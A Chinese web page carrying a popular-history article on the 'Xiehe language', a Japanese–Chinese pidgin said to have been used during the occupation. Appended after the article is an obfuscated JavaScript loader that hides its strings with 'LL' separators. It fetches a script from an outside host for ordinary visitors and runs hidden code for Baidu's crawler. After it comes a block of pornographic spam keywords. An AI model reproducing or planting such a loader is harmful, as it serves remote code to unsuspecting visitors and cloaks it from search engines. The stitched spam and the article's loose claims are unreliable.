當前位置:首頁 > 歷史 > 戰史風云 > 正文

抗日時期日本人如何與漢奸交流?原來還有協和語

2017-04-28 21:35:06  來源:360常識網   熱度:
導語:不管你是不是抗日神劇的愛好者,也許你都會有這樣一個問題:為什么抗日神劇中的高級軍官都只說日語,而那些走街串巷的低級日本軍官,卻每天

不管你是不是抗日神劇的愛好者,也許你都會有這樣一個問題:為什么抗日神劇中的高級軍官都只說日語,而那些走街串巷的低級日本軍官,卻每天只會哇啦哇啦的說:“大大滴有”、“花姑娘滴”和“你滴”呢?

那么,歷史上的日本軍官來到中國之后,都是這樣與漢奸交流的嗎?

且聽小編細細道來。

原來,這樣的語言在歷史上是真實存在的,自1931年日本占領中國東北到1945年抗戰結束期間,日本侵占中國土地,并有大量的日本人涌進中國,這時候日本人就不可避免的要與中國人民,尤其是漢奸們打交道,語音不通自然成為了問題。

據史料記載,抗日戰爭期間,為了“促進”與中國人的交流,日本人曾在中國的占領地區推行“皇民化教育”,主要教中國人說日語,但是,由于日軍在中國長期處于戰爭狀態,所以日語并沒有推行開來。

此時,日本的高級軍官自然是有高級的隨身翻譯,但是那些低級的日本小軍官就慘了,沒有翻譯,還要與中國漢奸交流,聽不懂匯報不明白情況還要被上級責罰,實在是有些難堪。但是,人還會被尿憋死了?于是乎,日本人和中國漢奸說著說著就產生了這種新的中介語言。而且還有了一個十分正規的名字,叫協和語。

這種協和語作為兩個人群的臨時交流工具,與一般所說的語言相比,具有鮮明的特點。其中,最明顯的特點就是詞語比較簡單易懂,在使用的時候雙方都不會追求言語的豐富精確,目的就是讓對方聽懂就行。什么不要”、“你的”、“我的”、“他的”、“買不買”、“多兒錢”、“干活計”、“來”、“什么”、“王八”、“沒有”之類的語言,因為簡單,都是協和語的首選。

此外,協和語受日語影響,出現了混亂不清的語法特征,更多的在表達強調語氣、例如一句簡單的“你把這個給我”,用協和語表示就成了“你滴、這個、我滴”。這樣看來,抗日神劇中,日本人所說的“你滴、大大滴有、花姑娘滴”,而漢奸同時回答“這里、花姑娘、大大滴有”,就可以合理的解釋了。

那么,為什么日本人不去學習漢語,反而只使用簡單的協和語呢?從歷史上來講,要么是被征服者的文明程度遠遠超過征服者,征服者覺得應該主動學習。要么是征服者人口數量極少,在長期傳承中慢慢同化。無論如何,改學被征服者的語言并不會發生在征服過程中。除此之外,還有一個原因,中國語言博大精深,日本人當然學不會了,就算要學短期內也絕對搞不定。

在日本戰敗之后,中國處決了大量的漢奸,這種中日雜交語言也就此消失了。現在想一想,當初的日本在中國的土地上,將漢語改成了如此難聽的雜交語言,還是真是拜咱們自己的漢奸所賜啊!如果當年的漢奸再使使勁兒,“花姑娘滴”、“大大有滴”豈不就成了我們的國語了?

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
日批日出水久久亚洲精品tv| 精品国产福利盛宴在线观看| 久久无码专区国产精品| 国产精品JIZZ在线观看无码 | 国产精品自在拍在线拍| 久久亚洲精品中文字幕三区| 精品一区二区三区电影| 一本色道久久88亚洲精品综合| 久久精品国产一区二区三区肥胖| 国产L精品国产亚洲区久久| 久久久久国产精品免费免费搜索| 午夜精品一区二区三区免费视频| 中文国产成人精品久久一| 国产精品免费视频网站| 精品无人乱码一区二区三区 | 久久精品国产亚洲AV电影网| 国产精品白丝喷水在线观看者相| 国产精品青草久久久久婷婷 | 亚洲国产精品网站在线播放| 99热这里只有精品免费播放| 亚洲精品自产拍在线观看| 国产精品1024视频| 最新国产精品拍自在线播放| 久久香综合精品久久伊人| 国产精品爱啪在线线免费观看 | 亚洲精品第一国产综合亚AV| 国产成人精品动图| 91久久婷婷国产综合精品青草| 久久se精品一区二区影院| 国产精品亚洲综合一区| 国产精品va久久久久久久| 国内精品久久久人妻中文字幕| 久久亚洲中文字幕精品一区四 | 国产精品热久久无码av| 久久精品一区二区三区四区| 国产精品久久久久久久人人看 | 精品久久久久久无码中文野结衣| 夜夜爽一区二区三区精品| 四虎精品免费永久免费视频| 久久91综合国产91久久精品| 国产精品白丝AV网站|